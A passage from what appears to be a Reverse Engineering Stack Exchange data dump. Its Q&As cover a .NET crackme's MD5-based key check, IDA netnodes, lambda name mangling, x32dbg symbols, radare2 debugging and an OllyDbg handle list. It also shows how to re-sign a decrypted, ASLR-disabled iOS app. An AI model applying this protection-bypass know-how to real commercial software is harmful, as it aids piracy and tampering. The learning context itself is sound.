0u);\n\nbasic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt; basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;6;\n\nbasic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;* right2 = &lt;Module&gt;.md5(&amp;basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;7, str);\n</code></pre>\n\n<p>4) Is it just a comparison of two strings in disguised form?</p>\n\n<pre><code>result =(&lt;Module&gt;.std.basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;.compare(ref basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;, 0u, (uint)(*(ref basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt; + 16)), ptr, count) == 0);\n</code></pre>\n\n<p>5)Maybe there's a easier way which I don't know to solve this crackme? I firstly tried to use IDA as always, but that wasn't really helpful in this case.</p>\n",
        "Title": "Reverse engineering of Managed C++/C# CrackMe",
        "Tags": "|.net|crackme|c#|",
        "Answer": "<ol>\n<li>Looks like a copy <code>ctor</code>, so my judgement would be the same as yours - assignment.</li>\n<li>I would assume that's sets value 0 at the specified offset. </li>\n</ol>\n\n<p><strong>EDIT:</strong> that's partially true, upon further investigation it looks like that at index 16, the length of the string is stored, and at index 20 it's some kind of type. If value @20 is > 16 then the string is in fact a pointer to memory region where the string is stored. For shorter strings it is stored internally. So setting those two to 0 is initialization/reseting the values.</p>\n\n<ol start=\"3\">\n<li><p>Hard to believe but that's part of auto generated names. If you don't declare variables and have code like this</p>\n\n<pre><code>std::string(\"\");\nstd::string(\"\"); \n</code></pre>\n\n<p>then underneath it will be like this</p>\n\n<pre><code>basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt; basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;;\nbasic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt; basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;2; \n</code></pre></li>\n<li><p>This is compare method, the signature is:  <code>System::String::Compare(strA, indexA, strB, indexB, len)</code>. In your case it compares content of variable <code>string</code> starting from index 0 with the further part of the same variable - above index 16.</p></li>\n<li><p>Everything you need to know is in the check method. Why not debug it? dnSpy can do that. By the quick look it calculates MD5 from the Email, but there are some parts that require a bit of further investigation and you did not provided the full binary. Some questions what does <code>&lt;Module&gt;.GetString()</code> returns? - it looks like it's essential to the calculation. \nAlso this <code>&lt;Module&gt;.??_C@_00CNPNBAHC@?$AA@</code> is probably a const string.</p></li>\n</ol>\n\n<p>A bit of more info, although it is a bit harder than in normal .NET application one can still get to the data that's needed to correctly solve this. If we inspect the method where we compare</p>\n\n<p><a href=\"https://i.stack.imgur.com/FVjTO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FVjTO.png\" alt=\"enter image description here\"></a></p>\n\n<p>we can there inspect the variables &amp; addresses that are in fact memory locations that are containing the values. maybe you can't inspect them from Locals, but if you press CTRL+G, and type the memory location you will be taken where you need to be.</p>\n\n<p><a href=\"https://i.stack.imgur.com/fqOjY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fqOjY.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "16398",
        "CreationDate": "2017-09-24T05:12:54.203",
        "Body": "<p>What exactly is a Netnode? What are they used for and how can I manipulate them with IDC or the SDK?</p>\n",
        "Title": "Understanding IDA's netnodes",
        "Tags": "|ida|",
        "Answer": "<p>The online IDA SDK has an excellent description: <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/netnode_8hpp.html\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/sdkdoc/netnode_8hpp.html</a></p>\n\n<p>An IDA database is one large table of key/value pairs.\nAll keys associated with a single address together form a <code>netnode</code>.</p>\n\n<p>There are two kinds of netnodes:</p>\n\n<ul>\n<li>related to addresses associated with the binary loaded in ida.</li>\n<li>for internal items, these are used to store structs, stack-frames, enums, scripts, etc.</li>\n</ul>\n\n<p>These internal items usually have addresses which start with <code>0xFF0...</code>.\nBecause of this it can be a bit of a challenge to reverse engineer binaries which happen to use that address range.</p>\n\n<p>A list of items which are stored in netnodes can be found in <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/netnode_8hpp.html\" rel=\"nofollow noreferrer\">netnode.hpp</a> and <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/nalt_8hpp.html\" rel=\"nofollow noreferrer\">nalt.hpp</a></p>\n"
    },
    {
        "Id": "16416",
        "CreationDate": "2017-09-26T13:33:57.313",
        "Body": "<p>I was looking into a C++ program compiled for aarch64 with ida pro 6.9 and came across something really weird:</p>\n\n<p><code>somescope::SomeClass&lt;false&gt;::some_name&lt;somescope::SomeClass&lt;false&gt;::other_name(uint,uint,uint)::{lambda(void *,bool)#2}&gt;::SOMETHING</code></p>\n\n<p>I'm really confused by this notation... Specifically:</p>\n\n<ol>\n<li><p>What does <code>{lambda(void *,bool)#2}</code> mean? Is it an indicator for lambda expression? Also, what is <code>#2</code>?</p></li>\n<li><p>Is <code>other_name(uint,uint,uint)</code> somewhat a scope? What could <code>other_name</code> possibly be if this is the case?</p></li>\n</ol>\n\n<p>I'm fairly new to reverse engineering and I've tried to google this for like an hour... Please hint me if you've got clue.</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "IDA pro 6.9, what does \"lambda\" in type notation mean in C++ reversed code",
        "Tags": "|ida|c++|",
        "Answer": "<p>About your first question: <code>what does ...lambda... mean</code>: Yes, obviously, it refers to a lambda function.</p>\n\n<p>The second part of your first question: <code>What is #2</code>: Some experimentation with lambda's shows that this is like a sequence number of lambda's within a function.\nNote that gcc and clang have different ways of encoding this.\n<code>gcc</code> uses the <code>lambda()#2</code> notation, while <code>clang</code> uses something like <code>$_1</code>.</p>\n\n<p>Your second question: <code>what is other_name</code>: I think that would be the function where the lambda is defined.</p>\n\n<p>And <code>some_name</code> being the function which is passed the lambda as a template parameter.</p>\n\n<p>The lambda's themselves are passed as a struct containing either copies of values or pointers, or from a c++ point of view: references, to the closure defined by the lambda.</p>\n\n<hr>\n\n<p>Experimenting with how your compiler treats lambda's is quite easy.\nWrite some test code:</p>\n\n\n\n<pre><code>#include &lt;stdio.h&gt;\n\ntemplate&lt;typename FN&gt;\nint test(FN f)\n{\n    return f();\n}\n\nint main(int, char**)\n{\n    int a, b;\n    auto f1 = [](int a, int b) { return a+b; };\n    int c = test([&amp;a, b, &amp;f1]() { return f1(a,b); });\n    auto f2 = [](int a, int b) { return a-b; };\n    int d = test([&amp;a, b, &amp;f2]() { return f2(a,b); });\n\n    printf(\"c=%d, d=%d\\n\", c, d);\n    return 0;\n}\n</code></pre>\n\n<p>Then compile with least optimization, and debug symbols:</p>\n\n<pre><code>g++ -O0 -g yourfile.cpp\n</code></pre>\n\n<p>And view the resulting binary in <code>ida</code>.</p>\n"
    },
    {
        "Id": "16426",
        "CreationDate": "2017-09-28T02:48:18.940",
        "Body": "<p>I'm reversing a Windows binary using <em>x32Dbg</em> and I have the following instruction: <code>call ntdll.776C695A</code>.<br>\nWhat steps should I take in order to find out which function this is and/or what it does? The debugger seems to provide some symbols but not all.</p>\n\n<p>Thank you.</p>\n",
        "Title": "In a native debugger, what must be done in order to resolve ntdll/other API symbols manually?",
        "Tags": "|debugging|x64dbg|",
        "Answer": "<p>Simply execute <code>downloadsym ntdll</code> in the command field at the bottom of <em>x32dbg</em>.</p>\n\n<p>As you can see in the <a href=\"https://x64dbg.readthedocs.io/en/latest/commands/analysis/symdownload.html\" rel=\"nofollow noreferrer\">documentation</a>:</p>\n\n<blockquote>\n  <p><strong>Command: symdownload / downloadsym</strong><br>\n  Attempt to download a symbol from a Symbol Store.  </p>\n  \n  <p><em>arguments</em><br>\n  [arg1] - Module name (with or without extension) to attept to download symbols for. When not specified, an attempt will be\n  done to download symbols for all loaded modules.  </p>\n  \n  <p>[arg2]  - Symbol Store URL. When not specified, the default store will\n  be used.</p>\n  \n  <p><em>result</em><br>\n  This command does not set any result variables.</p>\n</blockquote>\n\n<p>This should retrieve the Debugging Symbols from the <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols\" rel=\"nofollow noreferrer\">Microsoft public symbol server</a> and update the assembly accordingly.</p>\n"
    },
    {
        "Id": "16428",
        "CreationDate": "2017-09-28T07:07:56.910",
        "Body": "<p>I have been trying to figure this out for quite some time now, and would really need some help. Firstly, some intro:</p>\n\n<p>I am running the newest version of radare2 from Github on a 64bit Ubuntu 16.04 and have the following sample program <code>r2_test.cpp</code>:</p>\n\n<pre><code>#include &lt;cstdio&gt;\n\nint main(int argc, char* argv[])\n{\n    int num;\n\n    while (1)\n    {\n        printf(\"Enter a number: \");\n        scanf(\"%d\", &amp;num);\n        printf(\"You entered: %d\\n\", num);\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p>What I am trying to achieve is to debug this program using radare2 and two terminals in a way that I run radare2 in terminal window <code>T1</code> and have the programs input/output in terminal window <code>T2</code>. After some research I figured that this should probably be done with the help of <code>rarun2</code> tool. </p>\n\n<p>So, for my first try I read the <a href=\"https://github.com/radare/radare2/blob/master/man/rarun2.1#L139\" rel=\"noreferrer\">man page</a> for rarun2, specifically the part with redirecting IO to another terminal and after identifying the <code>T2</code> terminal as <code>/dev/pts/17</code> I created the following <code>test.rr2</code> file:</p>\n\n<pre><code>#!/usr/bin/rarun2\nstdio=/dev/pts/17\n</code></pre>\n\n<p>In <code>T2</code> terminal I've then run <code>sleep 999999</code> and in terminal <code>T1</code> I run <code>r2 -R test.rr2 -d a.out</code> and when executing the command <code>dc</code> inside radare2, the programs input/output is in terminal <code>T1</code> which is not what I wanted. I've also tried variations like making <code>test.rr2</code> equal </p>\n\n<pre><code>#!/usr/bin/rarun2\nstdin=/dev/pts/17\nstdout=/dev/pts/17\n</code></pre>\n\n<p>or</p>\n\n<pre><code>#!/usr/bin/rarun2\nstdio=/dev/pts/17\nstdin=/dev/pts/17\nstdout=/dev/pts/17\n</code></pre>\n\n<p>but the result was always the same.</p>\n\n<p>For my second try, after some research and reading, I tried running the radare2 in the following way: <code>r2 -d rarun2 program=a.out stdio=/dev/pts/17</code>. With this I've achieved redirecting the IO to terminal <code>T2</code>, but the process which gets debugged inside radare2 is the rarun2 tool and since my knowledge of Linux and reverse engineering on it is not that good, I don't really know how to proceed to debugging the <code>a.out</code> process.</p>\n\n<p>So, to summarize, I would really appreciate if someone could share here if this kind of debugging can be done with radare2 and, if it can, how to achieve it? I've also tried it with using <code>nc</code>, but I haven't made any progress to this topic with it.</p>\n",
        "Title": "Debugging with radare2 using two terminals",
        "Tags": "|debugging|linux|radare2|",
        "Answer": "<p>It is actually very simple and works for me just fine as you can see in the following gif:</p>\n\n<p><img src=\"https://i.imgur.com/LqrnYRP.gif\" alt=\"Direct link\"></p>\n\n<hr>\n\n<p>First you need to figure out the <code>tty</code> of the terminal you want to redirect the <code>STDIO</code> to (a.k.a Terminal 2, <em>T2</em>).\nYou can do this  by simply execute:</p>\n\n<pre><code>$ tty\n/dev/pts/2\n</code></pre>\n\n<p>This <code>tty</code> will soon be used on the <code>rarun2</code> profile file.\nMeantime, let's put <em>T2</em> to sleep by using <code>sleep 999999</code>.  </p>\n\n<p>Moving to <em>Terminal 1</em>, let's create a simple <code>rarun2</code> profile with the following content:</p>\n\n<pre><code>#!/usr/bin/rarun2\nstdio=/dev/pts/2\n</code></pre>\n\n<p>We configured <code>stdio</code> to transfer the <em>standard input and output</em> to <em>T2</em>.\nNow let's execute our program with the profile we've just created:</p>\n\n<pre><code>$ r2 -e dbg.profile=profile.rr2 -d a.out  \nProcess with PID 14074 started...\n= attach 14074 14074\nbin.baddr 0x00400000\nUsing 0x400000\nAssuming filepath /tmp/re/a.out\nasm.bits 64\n -- Mind that the 'g' in radare is silent\n[0x7f9654e0fd80]&gt;\n</code></pre>\n\n<p>(<em>The same can be done using:</em> <code>r2 -r profile.rr2 -d a.out</code>)<br>\nThe program successfully loaded in debug mode. Now just for the example, let's put a <em>breakpoint</em> on the second call to <code>printf</code> and start the program using <code>dc</code>. In the <em>gif</em> I was not creating a breakpoint.</p>\n\n<pre><code>[0x7f9654e0fd80]&gt; db 0x00400580\n[0x7f9654e0fd80]&gt; dc\nSelecting and continuing: 14074\n</code></pre>\n\n<p>Now <em>T2</em> gives us the output and asks for our input:</p>\n\n<pre><code>Enter a number:\n</code></pre>\n\n<p>After we send it a digit our breakpoint on <em>T1</em> hit:</p>\n\n<pre><code>hit breakpoint at: 400580\n[0x00400580]&gt;\n</code></pre>\n\n<p>We can now continue the execution using <code>dc</code>, the loop would continue forever and the Standard Input and Output will be in T2.</p>\n"
    },
    {
        "Id": "16438",
        "CreationDate": "2017-09-28T23:16:52.370",
        "Body": "<p>On a jailbroken iOS device, I have successfully decrypted an app, and disabled ASLR, thanks to the hundredth of tutorials available. </p>\n\n<p>But then, none explain how relaunch the app once ASLR has been disabled. How to do that ?</p>\n\n<p>I have tried copy and paste the app binary in the installation folder, but this fails to start. </p>\n\n<p>If I understand correctly, disabling the ASLR is useful to be able to find procedure's adresses using, say, Hopper, and then put breakpoints at these adresses in the app while using it. Am I wrong ?</p>\n\n<p>I wonder if my workflow is the correct one. At the end I would like to use Hopper as a static analyser and setting breakpoints using lldb dynamically. Is it the correct way ?</p>\n",
        "Title": "How relaunch iOS app once ASLR has been disabled?",
        "Tags": "|ios|hopper|",
        "Answer": "<p>I found a solution thanks to this ressource on GitHub: <a href=\"https://github.com/peterfillmore/removePIE/issues/1\" rel=\"nofollow noreferrer\">https://github.com/peterfillmore/removePIE/issues/1</a></p>\n\n<ul>\n<li>After disabling ASLR, I copied the binary from the iPhone to a laptop.</li>\n<li>Then, as described in the previously linked ressource, I extracted the entitlements with <code>ldid</code>, and put it back in while signing them. This step requires an apple developper account.</li>\n<li>Copied back to the iPhone. </li>\n<li>Finally, updated the authorisations (chmod), also described in the linked page.</li>\n</ul>\n\n<p>The <code>ldid</code>tool can be installed through brew: <a href=\"http://brewformulas.org/Ldid\" rel=\"nofollow noreferrer\">http://brewformulas.org/Ldid</a></p>\n\n<p>Here is an exemple for the Facebook app, taken from the previous linked page:</p>\n\n<pre><code>myPC: ~ peterfillmore$ ldid -e ./Facebook &gt; ent.xml\nmyPC: ~ peterfillmore$ codesign -f -s \"iPhone Developer\" --entitlements ent.xml ./Facebook\n./Facebook: replacing existing signature\n#resign app binary (need apple developper account)\n\niPad:/usrapps/73547808-1899-412F-9CBF-C636B7851EE9/Facebook.app root# rm ./Facebook\n#remove existing binary to clear cache(i think)\n\nmyPC:~ peterfillmore$ scp ./Facebook root@192.168.1.20://usrapps/xxx/Facebook.app/Facebook\n#copy back to device\n\niPad:/usrapps/xxx/Facebook.app root# chmod 0755 ./Facebook\n#change back to executable\n\niPad:/usrapps/xxx/Facebook.app root# ./Facebook\n#executes fine\n</code></pre>\n\n<p>I hope this will help others.</p>\n"
    },
    {
        "Id": "16442",
        "CreationDate": "2017-09-29T08:31:46.153",
        "Body": "<p>I see those in a debugger (<a href=\"https://en.wikipedia.org/wiki/OllyDbg\" rel=\"nofollow noreferrer\">OllyDbg</a>, handles subwindow), but I never meet an explanation on what those are.</p>\n\n<p>Here is the full content of it, and to be honest I want to know the meaning of all of this. There are suspiciously a lot of <code>NamedBuffer</code>, and I wonder if it's the same for other computers.</p>\n\n<p>Yesterday I learned that I can switch between native (<code>\\REGISTRY\\MACHINE</code>) and translated (<code>HKEY_LOCAL_MACHINE</code>) names by pressing <kbd>Tab</kbd>. It works for registry paths and file paths.</p>\n\n<pre><code>Handles\nHandle     Type             Refs    Access     T    Info          Name\n00000028   ALPC Port           4.   001F0001\n0000004C   Desktop          1737.   000F01FF                      \\Default\n00000008   Directory          91.   00000003                      \\KnownDlls\n0000000C   Directory          53.   00000003                      \\KnownDlls32\n00000018   Directory          53.   00000003                      \\KnownDlls32\n00000070   Directory        2028.   0000000F                      \\Sessions\\1\\BaseNamedObjects\n0000003C   Event               2.   001F0003\n00000044   Event               3.   001F0003\n00000058   Event               2.   001F0003\n0000005C   Event               2.   001F0003\n00000060   Event               2.   001F0003\n00000064   Event               2.   001F0003\n00000068   Event               2.   001F0003\n0000006C   Event               2.   001F0003\n0000007C   File (dev)          2.   00100003                      \\FileSystem\\Filters\\FltMgrMsg\n00000010   File (dir)          2.   00100020                      \\Device\\HarddiskVolume1\\Windows\n0000001C   File (dir)          2.   00100020                      \\Device\\HarddiskVolume1\\shared\\debugger\n00000004   Key                 2.   00000009                      \\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\n00000014   Key                 2.   00000009                      \\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\n00000020   Key                 2.   00020019                      \\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\Nls\\Sorting\\Versions\n00000024   Key                 2.   00000001                      \\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\SESSION MANAGER\n00000038   Key                 2.   000F003F                      \\REGISTRY\\MACHINE\n00000034   Mutant              2.   001F0001\n00000080   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\mchLLEW2$1360\n00000084   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5f9e0\n00000088   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\AutoUnhookMap$00001360$73ec0000\n0000008C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $71ac0000\n00000094   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a7dffe\n00000098   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $73e812c6\n0000009C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $73e82384\n000000A0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $76fef792\n000000A4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75db3be3\n000000A8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $76e69d0b\n000000AC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b77ba4\n000000B0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b7ea03\n000000B4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b7b986\n000000B8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b758b3\n000000BC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75dccd11\n000000C0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75db9ae4\n000000C4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75e1dd76\n000000C8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75e1de19\n000000CC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75dc3baa\n000000D0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b75ea5\n000000D4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b7cc01\n000000D8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ba4969\n000000DC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b7ba5f\n000000E0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f202bf\n000000E4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f2027b\n000000E8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed835c\n000000EC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed7603\n000000F0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ecee09\n000000F4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed6110\n000000F8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec8332\n000000FC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed3baa\n00000100   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed12a5\n00000104   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed3c61\n00000108   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec8bff\n0000010C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed612e\n00000110   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec9679\n00000114   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed781f\n00000118   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec97d2\n0000011C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f26cfc\n00000120   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed76e0\n00000124   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f26d5d\n00000128   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed7668\n0000012C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eec112\n00000130   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eed0f5\n00000134   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eeff4a\n00000138   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eeec68\n0000013C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed291f\n00000140   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eeeb96\n00000144   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f288eb\n00000148   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed2d64\n0000014C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed3698\n00000150   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75edc4b6\n00000154   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f27dd7\n00000158   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f09f1d\n0000015C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ecefc9\n00000160   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed6c30\n00000164   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec90d3\n00000168   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed2da4\n0000016C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f11497\n00000170   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60550\n00000174   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a603d0\n00000178   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a6079c\n0000017C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5ff74\n00000180   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a606f4\n00000184   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60874\n00000188   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a607e4\n0000018C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60004\n00000190   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60084\n00000194   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a61cb4\n00000198   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a61d8c\n0000019C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fcb0\n000001A0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60694\n000001A4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60df4\n000001A8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a61be4\n000001AC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5ffa4\n000001B0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fdc8\n000001B4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a600b4\n000001B8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fd64\n000001BC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fec0\n000001C0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a6088c\n000001C4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60ed8\n000001C8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fb28\n000001CC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a608a4\n000001D0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a603b8\n0000002C   Semaphore           2.   00100003        Count 0. of\n00000030   Semaphore           2.   00100003        Count 0. of\n00000048   WindowStation      82.   000F037F                      \\Sessions\\1\\Windows\\WindowStations\\WinSta0\n00000050   WindowStation      82.   000F037F                      \\Sessions\\1\\Windows\\WindowStations\\WinSta0\n</code></pre>\n",
        "Title": "What is \\Sessions\\1\\BaseNamedObjects\\NamedBuffer?",
        "Tags": "|windows|ollydbg|winapi|",
